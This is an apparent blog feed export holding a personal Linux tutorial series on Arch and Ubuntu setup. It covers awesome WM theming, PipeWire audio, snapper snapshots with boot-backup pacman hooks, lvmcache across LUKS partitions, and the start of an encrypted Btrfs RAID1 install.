    <span class="p">{</span> <span class="n">description</span> <span class="o">=</span> <span class="s2">"lock the current session"</span><span class="p">,</span> <span class="n">group</span> <span class="o">=</span> <span class="s2">"launcher"</span> <span class="p">}</span>
<span class="p">),</span>
</code></pre></div></div>

<p>Another thing you might want to do is load a prettier built-in theme (before overriding it to your own tastes) - you can list the contents of <code class="language-plaintext highlighter-rouge">/usr/share/awesome/themes</code> to check what alternatives came preinstalled with awesome.
Then, you can change the <code class="language-plaintext highlighter-rouge">beautiful.init()</code> line in <code class="language-plaintext highlighter-rouge">~/.config/awesome/rc.lua</code>, like so:</p>

<div class="language-diff highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gd">- beautiful.init(gears.filesystem.get_themes_dir() .. "default/theme.lua")
</span><span class="gi">+ beautiful.init(gears.filesystem.get_themes_dir() .. "xresources/theme.lua")
</span></code></pre></div></div>

<h2 id="6-pipewire-audio">6. Pipewire audio</h2>

<p>A basic installation like the one we just went through mostly just works out of the box.
I didn’t have to do anything other than plug in my HDMI monitor, wireless mouse and USB keyboard.</p>

<p>Soon enough, however, I realized that audio was missing.
Desktop Linux is somewhat infamous for having audio issues, but I think <a href="https://wiki.archlinux.org/title/PipeWire">PipeWire</a> has made that a thing of the past.
All we need to do is install a few packages (and possibly reboot), then it all just works:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-S</span> pipewire <span class="se">\</span>
    pipewire-audio pipewire-alsa pipewire-pulse pipewire-jack <span class="se">\</span>
    wireplumber alsa-utils
</code></pre></div></div>

<p>You might want to set up keybindings for the following audio related commands:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>alsamixer <span class="nt">-V</span> all                               <span class="c"># control audio in terminal</span>
<span class="nv">$ </span>pactl set-sink-volume @DEFAULT_SINK@ <span class="nt">-5</span>%       <span class="c"># lower volume by 5%</span>
<span class="nv">$ </span>pactl set-sink-volume @DEFAULT_SINK@ +5%       <span class="c"># increase volume by 5%</span>
<span class="nv">$ </span>pactl set-sink-mute @DEFAULT_SINK@ toggle      <span class="c"># toggle audio mute</span>
<span class="nv">$ </span>pactl set-source-mute @DEFAULT_SOURCE@ toggle  <span class="c"># toggle microphone mute</span>
</code></pre></div></div>

<h2 id="7-pacman-and-snapshots">7. Pacman and snapshots</h2>

<p>As promised, we’ll now set up automatic system backups, making use of btrfs snapshots.
These are SYSTEM backups (of the root partition) and not DATA backups (does not include the home partition), intented to enable undoing a bad update or a breaking config change.
You should configure additional backup schemes for user data.</p>

<p>With that disclaimer out of the way, let’s install <a href="https://wiki.archlinux.org/title/Snapper">snapper</a>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-S</span> snapper
<span class="nv">$ </span><span class="nb">sudo </span>snapper <span class="nt">-c</span> root create-config /
</code></pre></div></div>

<p>Snapper saves snapshots under the <code class="language-plaintext highlighter-rouge">/.snapshots</code> mount point; that’s OK.
The issue is that, by default, it creates a subvolume under whatever is currently mounted at <code class="language-plaintext highlighter-rouge">/</code>, but I would rather keep snapshots in the top-level of the btrfs volume structure.
Therefore, I’ll delete the just-created <code class="language-plaintext highlighter-rouge">.snapshots</code> SUBVOLUME and make a new one, mounted at <code class="language-plaintext highlighter-rouge">/.snapshots</code>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>btrfs subvolume delete /.snapshots
<span class="nv">$ </span><span class="nb">sudo </span>mount <span class="nt">-o</span> <span class="nv">subvolid</span><span class="o">=</span>5 /dev/mapper/arch-root /mnt
<span class="nv">$ </span><span class="nb">sudo </span>btrfs subvolume create /mnt/@snapshots
<span class="nv">$ </span><span class="nb">sudo </span>umount /mnt
<span class="nv">$ </span><span class="nb">sudo mkdir</span> /.snapshots
<span class="nv">$ </span><span class="nb">sudo chmod </span>750 /.snapshots
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'UUID=${same_UUID_as_other_subvolumes}	/.snapshots	btrfs	subvol=@snapshots,rw,relatime,space_cache=v2,compress=zstd:1	0	0'</span> | <span class="nb">sudo tee</span> <span class="nt">-a</span> /etc/fstab
<span class="nv">$ </span><span class="nb">sudo </span>mount /.snapshots
</code></pre></div></div>

<p>Then, I’ll disable snapper’s default time-based backups:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo sed</span> <span class="nt">-i</span> <span class="s1">'s/TIMELINE_CREATE="no"/TIMELINE_CREATE="yes"/'</span> /etc/snapper/configs/root
<span class="nv">$ </span><span class="nb">sudo </span>systemctl stop snapper-timeline.timer
<span class="nv">$ </span><span class="nb">sudo </span>systemctl disable snapper-timeline.timer
</code></pre></div></div>

<p>In order to create a snapshot manually, we can run <code class="language-plaintext highlighter-rouge">snapper create</code>.
To list existing snapshots, just use <code class="language-plaintext highlighter-rouge">snapper list</code>.
Each snapshot is a btrfs subvolume and can be mounted as such.</p>

<p>Now, in order to run backups every time we make a potentially breaking change, we’ll install <a href="https://barnettphd.com/snap-pac/configuration.html"><code class="language-plaintext highlighter-rouge">snap-pac</code></a>.
By default, it is configured to create a snapshot of the root partition before and after every time we modify the system with <code class="language-plaintext highlighter-rouge">pacman</code> (installing a package, updating the system, etc).</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-S</span> snap-pac
</code></pre></div></div>

<p>You can run <code class="language-plaintext highlighter-rouge">snapper list</code> to see the snapshot which was automatically created after installing <code class="language-plaintext highlighter-rouge">snap-pac</code> itself.
Personally, I preferred to <code class="language-plaintext highlighter-rouge">snapper delete</code> this initial one, just to make sure every change has a <code class="language-plaintext highlighter-rouge">pre</code> and <code class="language-plaintext highlighter-rouge">post</code> snapshot.</p>

<figure class=""><a href="/assets/images/dual-boot/arch-snapper.png" class="image-popup" title="Setting up snapper as an automatic system backup tool for Arch.
"><img src="/assets/images/dual-boot/arch-snapper.png" alt="arch-snapper" /></a><figcaption>
      Setting up snapper as an automatic system backup tool for Arch.

    </figcaption></figure>

<p>Although the current setup covers changes to the root partition, we might not be able to fully restore the system without kernel backups as well.
The kernel is not currently being backed up, since it lives in the boot partition.
Thankfully, the <a href="https://wiki.archlinux.org/title/System_backup#Snapshots_and_/boot_partition">Arch Wiki has this covered</a> by teaching us how to set up pacman hooks to copy the kernel from the boot partition to our snapshot-able root:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-S</span> rsync
<span class="nv">$ </span><span class="nb">sudo mkdir</span> /.bootbackup
<span class="nv">$ </span><span class="nb">sudo mkdir</span> <span class="nt">-p</span> /etc/pacman.d/hooks

<span class="nv">$ </span>nano /etc/pacman.d/hooks/95-bootbackup_pre.hook
<span class="nv">$ </span><span class="nb">cat</span> /etc/pacman.d/hooks/95-bootbackup_pre.hook
<span class="o">[</span>Trigger]
Operation <span class="o">=</span> Upgrade
Operation <span class="o">=</span> Install
Operation <span class="o">=</span> Remove
Type <span class="o">=</span> Path
Target <span class="o">=</span> usr/lib/modules/<span class="k">*</span>/vmlinuz
<span class="o">[</span>Action]
Depends <span class="o">=</span> rsync
Description <span class="o">=</span> Backing up pre /boot...
When <span class="o">=</span> PreTransaction
Exec <span class="o">=</span> /usr/bin/bash <span class="nt">-c</span> <span class="s1">'rsync -a --mkpath --delete /boot/ "/.bootbackup/$(date +%Y-%m-%d.%Hh%Mm%Ss).pre"/'</span>

<span class="nv">$ </span>nano /etc/pacman.d/hooks/95-bootbackup_post.hook
<span class="nv">$ </span><span class="nb">cat</span> /etc/pacman.d/hooks/95-bootbackup_post.hook
<span class="o">[</span>Trigger]
Operation <span class="o">=</span> Upgrade
Operation <span class="o">=</span> Install
Operation <span class="o">=</span> Remove
Type <span class="o">=</span> Path
Target <span class="o">=</span> usr/lib/modules/<span class="k">*</span>/vmlinuz
<span class="o">[</span>Action]
Depends <span class="o">=</span> rsync
Description <span class="o">=</span> Backing up post /boot...
When <span class="o">=</span> PostTransaction
Exec <span class="o">=</span> /usr/bin/bash <span class="nt">-c</span> <span class="s1">'rsync -a --mkpath --delete /boot/ "/.bootbackup/$(date +%Y-%m-%d.%Hh%Mm%Ss).post"/'</span>
</code></pre></div></div>

<p>We can now run a full system update, with confidence that we can revert it in case things break.
(In fact, it is a good idea to keep you Arch ISO live USB around, since <a href="https://bbs.archlinux.org/viewtopic.php?pid=1508842#p1508842">restoring your system from these snapshots</a> may require manual intervention).</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>pacman <span class="nt">-Syu</span>
</code></pre></div></div>

<h2 id="8-other-customizations">8. Other customizations</h2>

<p>In the previous Arch tutorial, we went from a live USB to a minimal installation, with not much other than network connectivity.
In this one, we moved from a TTY login to a graphical desktop environment, with auto-login, a terminal emulator, a working audio system, automatic backups and a fully customizable window manager; with a web browser being just a <code class="language-plaintext highlighter-rouge">pacman -S</code> away.</p>

<p>The result might still look and feel too barebones for some people, but after this point each one can customize the system however they like.
That’s the beauty of (Arch) Linux: this system is now yours, do with it whatever you want.
Enjoy!</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="tutorial" /><category term="linux" /><summary type="html"><![CDATA[Advanced dual-boot setup - Part 4: From TTY to graphical desktop]]></summary></entry><entry><title type="html">How to set up lvmcache across LUKS-encrypted partitions</title><link href="https://www.baioc.dev/tutorial/ubuntu-lvmcache/" rel="alternate" type="text/html" title="How to set up lvmcache across LUKS-encrypted partitions" /><published>2024-07-14T00:00:00+00:00</published><updated>2024-07-21T00:00:00+00:00</updated><id>https://www.baioc.dev/tutorial/ubuntu-lvmcache</id><content type="html" xml:base="https://www.baioc.dev/tutorial/ubuntu-lvmcache/"><![CDATA[<p>In this tutorial, I’ll set up an <code class="language-plaintext highlighter-rouge">lvmcache</code> across LUKS-encrypted partitions in a Debian-based system.
This was the solution I chose to increase the performance of hybrid storage - in which part of the SSD acts as a cache to the HDD - in a fully-encrypted setup.</p>

<p>Starting from a fresh <a href="../ubuntu-24.04-encrypted">Ubuntu 24.04 LTS encrypted install</a>, we’ll:</p>
<ul>
  <li>Shrink the root volume in order to free disk space in the primary disk (SSD)</li>
  <li>Create an encrypted partition in the secondary disk (HDD)</li>
  <li>Configure a volume in the SSD as a cache for the HDD volume</li>
  <li>Set up initramfs hooks to mount everything on boot, with a single decryption password</li>
</ul>

<h2 id="0-prepare-operating-environment">0. Prepare operating environment</h2>

<p>While I’m sure some of the operations we’re about to perform could be applied to a live system, I prefer to do these things from a live USB.
I’ll use an Arch Linux ISO for this, since it is lightweight and includes all the tools we need.</p>

<h2 id="1-reduce-root-ssd-volume">1. Reduce root SSD volume</h2>

<p>After flashing the ISO to a USB and booting into it, we start by decrypting the Ubuntu LUKS partition (<code class="language-plaintext highlighter-rouge">/dev/sda3</code> in this case).
Then, we can resize the filesystem and reduce the logical volume in one go (in this case, freeing up 5GiB in the primary LVM physical volume):</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>cryptsetup open /dev/sda3 ubuntu-root
<span class="nv">$ </span>lvreduce <span class="nt">-v</span> <span class="nt">--resizefs</span> <span class="nt">-L</span> <span class="nt">-5G</span> /dev/ubuntu-vg/ubuntu-lv
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-lvreduce.png" class="image-popup" title="Shrinking the Ubuntu root logical volume.
"><img src="/assets/images/dual-boot/lvmcache-lvreduce.png" alt="lvmcache-lvreduce" /></a><figcaption>
      Shrinking the Ubuntu root logical volume.

    </figcaption></figure>

<h2 id="2-create-an-encrypted-partition">2. Create an encrypted partition</h2>

<p>Let’s set up the HDD LUKS-encrypted partition, making sure that:</p>
<ul>
  <li>We use the same encryption password as in the root volume (this is optional, but allows us to use the <code class="language-plaintext highlighter-rouge">decrypt_keyctl</code> script to unlock both partitions with a single password prompt)</li>
  <li>The sector size used in the HDD partition matches the one in the SSD (this is mandatory as far as I’m aware, otherwise LVM won’t let us extend the volume group, issuing an error like <code class="language-plaintext highlighter-rouge">Devices have inconsistent logical block sizes</code>)</li>
</ul>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-luksFormat.png" class="image-popup" title="Setting up a new LUKS-encrypted partition with the right sector size, as verified with lsblk -t
"><img src="/assets/images/dual-boot/lvmcache-luksFormat.png" alt="lvmcache-luksFormat" /></a><figcaption>
      Setting up a new LUKS-encrypted partition with the right sector size, as verified with lsblk -t

    </figcaption></figure>

<h2 id="3-extend-lvm-volume-group">3. Extend LVM volume group</h2>

<p>Next, we layer an LVM physical volume on top of the new LUKS partition, then add it to the existing LVM volume group.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>pvcreate /dev/mapper/ubuntu-data
<span class="nv">$ </span>vgextend ubuntu-vg /dev/mapper/ubuntu-data
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-vgextend.png" class="image-popup" title="Extending an existing LVM volume group with a new physical volume.
"><img src="/assets/images/dual-boot/lvmcache-vgextend.png" alt="lvmcache-vgextend" /></a><figcaption>
      Extending an existing LVM volume group with a new physical volume.

    </figcaption></figure>

<p>NOTE: if you need to close a LUKS+LVM partition for any reason, you many need to stop the volume group with <code class="language-plaintext highlighter-rouge">vgchange -a n ubuntu-vg</code> before <code class="language-plaintext highlighter-rouge">cryptsetup close</code>ing the partition.</p>

<h2 id="4-set-up-the-lvmcache">4. Set up the lvmcache</h2>

<p>In order to create the cache, we’ll need a logical volume in each device:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>lvcreate <span class="nt">-n</span> work-hdd <span class="nt">-l</span> 100%PVS ubuntu-vg /dev/mapper/ubuntu-data
<span class="nv">$ </span>lvcreate <span class="nt">-n</span> work-ssd <span class="nt">-l</span> 100%PVS ubuntu-vg /dev/mapper/ubuntu-root
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-lvcreate.png" class="image-popup" title="Creating a logical volume in each device.
"><img src="/assets/images/dual-boot/lvmcache-lvcreate.png" alt="lvmcache-lvcreate" /></a><figcaption>
      Creating a logical volume in each device.

    </figcaption></figure>

<p>Then, we follow <a href="https://www.man7.org/linux/man-pages/man7/lvmcache.7.html">the documentation</a> in order to create the cache as either a <code class="language-plaintext highlighter-rouge">--cachepool</code> or a <code class="language-plaintext highlighter-rouge">--cachevol</code> (see <a href="https://unix.stackexchange.com/questions/647225/lvmcache-why-use-a-cachepool-instead-of-a-cachevol/767061#767061">this StackOverflow question</a> for more information on the choice):</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>lvconvert <span class="nt">--type</span> cache <span class="nt">--cachepool</span> work-ssd ubuntu-vg/work-hdd
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-lvconvert.png" class="image-popup" title="Converting volumes to an lvmcache. Notice that, like me, you may need to shrink the slower volume to accommodate LVM metadata.
"><img src="/assets/images/dual-boot/lvmcache-lvconvert.png" alt="lvmcache-lvconvert" /></a><figcaption>
      Converting volumes to an lvmcache. Notice that, like me, you may need to shrink the slower volume to accommodate LVM metadata.

    </figcaption></figure>

<p>In order to make use of the cache, just use the <code class="language-plaintext highlighter-rouge">work-hdd</code> logical volume normally.
For example, this would be a good time to add a filesystem to the cached volume:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>mkfs.ext4 /dev/ubuntu-vg/work-hdd
</code></pre></div></div>

<h2 id="5-reboot-to-ubuntu">5. Reboot to Ubuntu</h2>

<p>We should now be able to reboot into Ubuntu, albeit with a small hiccup: after entering our decryption password, the boot process may drop into a BusyBox recovery shell.
There’s no need to panic, a first <code class="language-plaintext highlighter-rouge">exit</code> command will tip us that the reason for failure is that something went wrong when mounting the root volume.</p>

<p>In this case, that’s because we never told the system that it needed to decrypt the HDD partition, and LVM fails by default when a volume group is incomplete.
We can run <code class="language-plaintext highlighter-rouge">lvm lvdisplay</code> to check that, while the new logical volume is not available, the old one (containing the system root) still is.
Therefore, we just activate the volume group in partial mode with <code class="language-plaintext highlighter-rouge">lvm vgchange -a y --partial ubuntu-vg</code>, then <code class="language-plaintext highlighter-rouge">exit</code> again to finish the boot process.</p>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-busybox.png" class="image-popup" title="Continuing a failed boot process with a partial LVM volume group.
"><img src="/assets/images/dual-boot/lvmcache-busybox.png" alt="lvmcache-busybox" /></a><figcaption>
      Continuing a failed boot process with a partial LVM volume group.

    </figcaption></figure>

<h2 id="6-setting-up-decryption">6. Setting up decryption</h2>

<p>Once the boot process is done, open a terminal to decrypt the remaining partition - the LVM volumes inside should also get recognized automatically.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>cryptsetup open /dev/sdb1 ubuntu-data
</code></pre></div></div>

<p>We’ll now set up <a href="https://unix.stackexchange.com/questions/392284/using-a-single-passphrase-to-unlock-multiple-encrypted-disks-at-boot/392286#392286">a script</a> which will cache our decryption password in order to open both of our LUKS partitions during the boot process (more specifically, by the initramfs image which is loaded from the boot partition).</p>

<p>We begin by installing the <code class="language-plaintext highlighter-rouge">keyutils</code> package.
Then, edit the <code class="language-plaintext highlighter-rouge">/etc/crypttab</code> file in order to add the <code class="language-plaintext highlighter-rouge">keyscript</code> option and set up the same <code class="language-plaintext highlighter-rouge">CRYPTTAB_KEY</code> for both entries.
We also add the <code class="language-plaintext highlighter-rouge">initramfs</code> options and <a href="https://unix.stackexchange.com/questions/206754/difference-between-cryptopts-and-crypttab/447676#447676">make sure it will be handled there</a> by setting <code class="language-plaintext highlighter-rouge">CRYPTSETUP=y</code> in <code class="language-plaintext highlighter-rouge">/etc/cryptsetup-initramfs/conf-hook</code>.
Finally, re-generate the initramfs with <code class="language-plaintext highlighter-rouge">update-initramfs</code>.</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span><span class="nb">sudo </span>apt <span class="nb">install </span>keyutils
<span class="nv">$ </span><span class="nb">sudo </span>nano /etc/crypttab
<span class="nv">$ </span><span class="nb">sudo </span>nano /etc/cryptsetup-initramfs/conf-hook
<span class="nv">$ </span><span class="nb">sudo </span>update-initramfs <span class="nt">-k</span> all <span class="nt">-u</span>
</code></pre></div></div>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-keyscript.png" class="image-popup" title="Setting up the decrypt_keyctl script after some sanity checks.
"><img src="/assets/images/dual-boot/lvmcache-keyscript.png" alt="lvmcache-keyscript" /></a><figcaption>
      Setting up the decrypt_keyctl script after some sanity checks.

    </figcaption></figure>

<p>After those steps, we can reboot to check that we’ll no longer drop to a BusyBox recovery shell.
Furthermore, from now on, both partitions will be unlocked by a single boot password prompt.</p>

<h2 id="7-mount-the-cached-partition">7. Mount the cached partition</h2>

<p>Finally, we can set up an entry in <code class="language-plaintext highlighter-rouge">/etc/fstab</code> in order to automatically mount our cached partition.
In my case, I’ll create an <code class="language-plaintext highlighter-rouge">/hdd</code> folder that’s owned by my main user, but another possibility would be mounting to <code class="language-plaintext highlighter-rouge">/home</code> directly (make sure to have backups, if you do).</p>

<p>I should note that, in order to use UUIDs to reference an LVM logical volume in fstab, we need to combine the volume group (VG) UUID and the logical volume (LV) UUID.
We can acquire those with <code class="language-plaintext highlighter-rouge">vgdisplay</code> and <code class="language-plaintext highlighter-rouge">lvdisplay</code>, respectively, then remove the hyphens and concatenate them to get the full LVM device mapper UUID path.</p>

<figure class=""><a href="/assets/images/dual-boot/lvmcache-fstab.png" class="image-popup" title="Setting up fstab to auto-mount the cached volume.
"><img src="/assets/images/dual-boot/lvmcache-fstab.png" alt="lvmcache-fstab" /></a><figcaption>
      Setting up fstab to auto-mount the cached volume.

    </figcaption></figure>

<p>In the end, we have most of the system stored in the faster SSD, while our user data can stay in the bigger (but slower) HDD - both devices using LUKS encryption.
The LVM subsystem will then take care of moving frequently accessed HDD data into the SSD cache - automatically improving performance for the data that’s actually being used.
Victory!</p>]]></content><author><name>Gabriel B. Sant&apos;Anna</name></author><category term="tutorial" /><category term="linux" /><summary type="html"><![CDATA[Advanced dual-boot setup - Part 3: Encrypted hybrid storage]]></summary></entry><entry><title type="html">How to install Arch on Btrfs with LUKS encryption and software RAID1</title><link href="https://www.baioc.dev/tutorial/arch-btrfs-luks-raid/" rel="alternate" type="text/html" title="How to install Arch on Btrfs with LUKS encryption and software RAID1" /><published>2024-05-17T00:00:00+00:00</published><updated>2024-07-27T00:00:00+00:00</updated><id>https://www.baioc.dev/tutorial/arch-btrfs-luks-raid</id><content type="html" xml:base="https://www.baioc.dev/tutorial/arch-btrfs-luks-raid/"><![CDATA[<p>This tutorial is written for my own future reference, but I’m also posting it online in case it helps someone else looking for a similar setup.
While the <a href="../dual-boot-linux-encrypted-hybrid-storage">first post on this series</a> already laid out my specs, motivations and technological choices, this one will focus on implementing the core parts of my personal subsystem: an encrypted Arch Linux installation on top of Btrfs, with RAID1.</p>

<h2 id="0-overview">0. Overview</h2>

<p>Here’s a sketch of what I’m aiming for:</p>

<p><img src="/assets/images/dual-boot/os-arch.png" alt="sketch-arch" /></p>

<p>During <a href="../ubuntu-24.04-encrypted">the previous part of this series</a>, I’ve used the Ubuntu 24.04 LTS guided installer to create an ESP partition (<code class="language-plaintext highlighter-rouge">sda1</code>, in green) and the core parts of my work subsystem (<code class="language-plaintext highlighter-rouge">sda4</code> and <code class="language-plaintext highlighter-rouge">sda5</code>, in orange).
This post will set up the remaining SSD partitions, as well as the HDD RAID1 mirror.</p>

<p>I’ll follow the general structure of <a href="https://wiki.archlinux.org/title/Installation_guide">the Arch wiki’s installation guide</a>, with a few added comments and highlighting deviations from the standard route for my customizations.</p>

<h2 id="1-pre-installation">1. Pre-installation</h2>

<h3 id="11-acquire-an-installation-image">1.1. Acquire an installation image</h3>

<p>Just download the latest ISO image from the <a href="https://archlinux.org/download/">official Arch download page</a>.</p>

<h3 id="12-verify-image-hashes">1.2. Verify image hashes</h3>

<p>Make sure the ISO’s <code class="language-plaintext highlighter-rouge">sha256sum</code> matches the expected hash (<code class="language-plaintext highlighter-rouge">1b4a04ef8a7350852a13070ee498442b087a607a18840b4dd7d99867eb5f6a4c</code> for 2024.05.01).</p>

<h3 id="13-prepare-installation-medium">1.3. Prepare installation medium</h3>

<p><a href="https://wiki.archlinux.org/title/USB_flash_installation_medium">Flash the image on a USB stick</a>.</p>

<h3 id="14-boot-the-live-environment">1.4. Boot the live environment</h3>

<p>You’ll find yourself logged as root in a Zsh shell.
<a href="https://geo.mirror.pkgbuild.com/iso/latest/arch/pkglist.x86_64.txt">These pacakges</a> come pre-installed.</p>

<figure class=""><a href="/assets/images/dual-boot/arch-tty.png" class="image-popup" title="Arch install live environment, after a few sanity checks.
"><img src="/assets/images/dual-boot/arch-tty.png" alt="arch-tty" /></a><figcaption>
      Arch install live environment, after a few sanity checks.

    </figcaption></figure>

<h3 id="15-set-the-console-keyboard">1.5. Set the console keyboard</h3>

<p>Nothing to do here, since I use a US keyboard layout.</p>

<h3 id="16-verify-the-boot-mode">1.6. Verify the boot mode</h3>

<p><code class="language-plaintext highlighter-rouge">cat /sys/firmware/efi/fw_platform_size</code> should read <code class="language-plaintext highlighter-rouge">64</code>.</p>

<h3 id="17-connect-to-the-internet">1.7. Connect to the internet</h3>

<p>Just use ethernet.
The live system connects automatically using DHCP.
<br />
Make sure your connection is actually working by <code class="language-plaintext highlighter-rouge">ping</code>ing an external server.</p>

<h3 id="18-update-the-system-clock">1.8. Update the system clock</h3>

<p>Check if the output of <code class="language-plaintext highlighter-rouge">timedatectl</code> looks sane (in UTC+0).</p>

<h3 id="19-partition-the-disks">1.9. Partition the disks</h3>

<p>This is where it gets interesting.
I already know how I want to partition my disks, but here are a few highlights copied straight from the Arch wiki:</p>

<blockquote>
  <ul>
    <li>Take time to plan a long-term partitioning scheme to avoid risky and complicated conversion or re-partitioning procedures in the future.</li>
  </ul>
</blockquote>

<p><a href="../dual-boot-linux-encrypted-hybrid-storage">Done</a>.</p>

<blockquote>
  <ul>
    <li>The following partitions are required for a chosen device: one partition for the root directory <code class="language-plaintext highlighter-rouge">/</code>; for booting in UEFI mode: an EFI system partition.</li>
    <li>If the disk from which you want to boot already has an EFI system partition, do not create another one, but use the existing partition instead.</li>
    <li>Swap space can be set on a swap file for file systems supporting it.</li>
  </ul>
</blockquote>

<p>We already have an EFI partition created by the Ubuntu installer, so we’ll keep using that.
Then, instead of a single root partition mounted at <code class="language-plaintext highlighter-rouge">/</code>, we’ll create separate root (<code class="language-plaintext highlighter-rouge">/</code>) and boot (<code class="language-plaintext highlighter-rouge">/boot/</code>) partitions, since we want the former to be encrypted (and the latter can’t be, depending on the <a href="https://en.wikipedia.org/wiki/Bootloader#Second-stage_boot_loader">second-stage boot loader</a> we end up using).
Finally, if swap is needed at all I’ll just use a swap file, since that’s supported on our filesystem of choice, Btrfs.</p>

<blockquote>
  <p>Aligning partitions correctly avoids excessive read-modify-write cycles.
A typical practice for personal computers is to have each partition’s start and size aligned to 1 MiB (1 048 576 bytes) marks.
This covers all common page and block size scenarios, as it is divisible by all commonly used sizes - 1 MiB, 512 KiB, 128 KiB, 4 KiB, and 512 B.
Warning: Misaligned partitions will prevent being able to use 4096 B sectors with LUKS.</p>
</blockquote>

<p>This important disk performance tip was hidden away in the <a href="https://wiki.archlinux.org/title/Advanced_Format#Partition_alignment">Advanced Format page</a>.
Even though most disk partitioning tools default to MiB alignment, I think this should be highlighted in the partitioning step of the installation guide.</p>

<blockquote>
  <p>If you want to create any stacked block devices for LVM, encryption or RAID, do it now.</p>
</blockquote>

<h4 id="191-securely-erasing-a-drive">1.9.1. Securely erasing a drive</h4>

<p>I’m going to err on the side of caution and <a href="https://wiki.archlinux.org/title/Dm-crypt/Drive_preparation#dm-crypt_wipe_on_an_empty_device_or_partition">securely erase my entire HDD</a>:</p>

<div class="language-shell highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wipefs <span class="nt">-a</span> /dev/sdb
cryptsetup open <span class="nt">--type</span> plain <span class="nt">-d</span> /dev/urandom <span class="nt">--sector-size</span> 4096 <span class="nt">--cipher</span> aes-xts-plain64:sha256 <span class="nt">--key-size</span> 256 /dev/sdb to_be_wiped
<span class="nb">dd </span><span class="k">if</span><span class="o">=</span>/dev/zero <span class="nv">of</span><span class="o">=</span>/dev/mapper/to_be_wiped <span class="nv">status</span><span class="o">=</span>progress <span class="nv">bs</span><span class="o">=</span>1M
cryptsetup close to_be_wiped
</code></pre></div></div>

<p>Here I’ve manually specified the fastest (according to a <code class="language-plaintext highlighter-rouge">cryptsetup benchmark</code>) combination of cipher and key size, as well as the physical sector size of my HDD (obtained with <code class="language-plaintext highlighter-rouge">lsblk -t</code>).</p>

<h4 id="192-physical-partitioning">1.9.2. Physical partitioning</h4>

<p>This is what our disks looked like after our encrypted Ubuntu 24.04 installation:</p>

<figure class=""><a href="/assets/images/dual-boot/ubuntu-partition-layout.png" class="image-popup" title="Disk layout after the Ubuntu install. sda is an SSD and sdb a bigger HDD.
"><img src="/assets/images/dual-boot/ubuntu-partition-layout.png" alt="ubuntu-partition-layout" /></a><figcaption>
      Disk layout after the Ubuntu install. sda is an SSD and sdb a bigger HDD.

    </figcaption></figure>

<p>Everything on the SSD is already MiB aligned.
You can check that manually by running <code class="language-plaintext highlighter-rouge">fdisk -l</code> and making sure the start sector and total sectors assigned to each partition are divisible by 8.
Then, I’ll just wipe the placeholder ext2 file systems which I used to “hide” available disk space from the Ubuntu installer:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>wipefs <span class="nt">-a</span> /dev/sda2
wipefs <span class="nt">-a</span> /dev/sda3
</code></pre></div></div>

<p>As for the just-erased HDD, I’ll use <code class="language-plaintext highlighter-rouge">fdisk</code>’s interactive shell to:</p>
<ul>
  <li>Set up a fresh GPT partition table (<code class="language-plaintext highlighter-rouge">g</code>)</li>
  <li>Create a new partition the exact same size of <code class="language-plaintext highlighter-rouge">/dev/sda3</code> (<code class="language-plaintext highlighter-rouge">n</code>)</li>
  <li>Commit my changes (<code class="language-plaintext highlighter-rouge">w</code>)</li>
</ul>

<h4 id="193-raid-on-hybrid-storage">1.9.3. RAID on hybrid storage</h4>

<p>We’ll now set up software RAID1 using mdadm.
In my particular case, I’ll have a <a href="https://www.tansi.org/hybrid/">hybrid RAID1 setup</a>: one of the mirrors is in an SSD, while the other is in an HDD.
Thankfully, mdadm has a <a href="https://raid.wiki.kernel.org/index.php/Write-mostly">“write-mostly” flag</a> which can mark expected-to-be-slower devices (<code class="language-plaintext highlighter-rouge">/dev/sdb</code>) in the array in order to make most reads come from the faster device (<code class="language-plaintext highlighter-rouge">/dev/sda</code>).
Setting it up is as simple as:</p>

<div class="language-sh highlighter-rouge"><div class="highlight"><pre class="highlight"><code>mdadm <span class="nt">--verbose</span> <span class="nt">--create</span> <span class="nt">--metadata</span><span class="o">=</span>0.90 /dev/md0 <span class="nt">--level</span><span class="o">=</span>1 <span class="nt">--raid-devices</span><span class="o">=</span>2 /dev/sda3 <span class="nt">--write-mostly</span> /dev/sdb1
</code></pre></div></div>

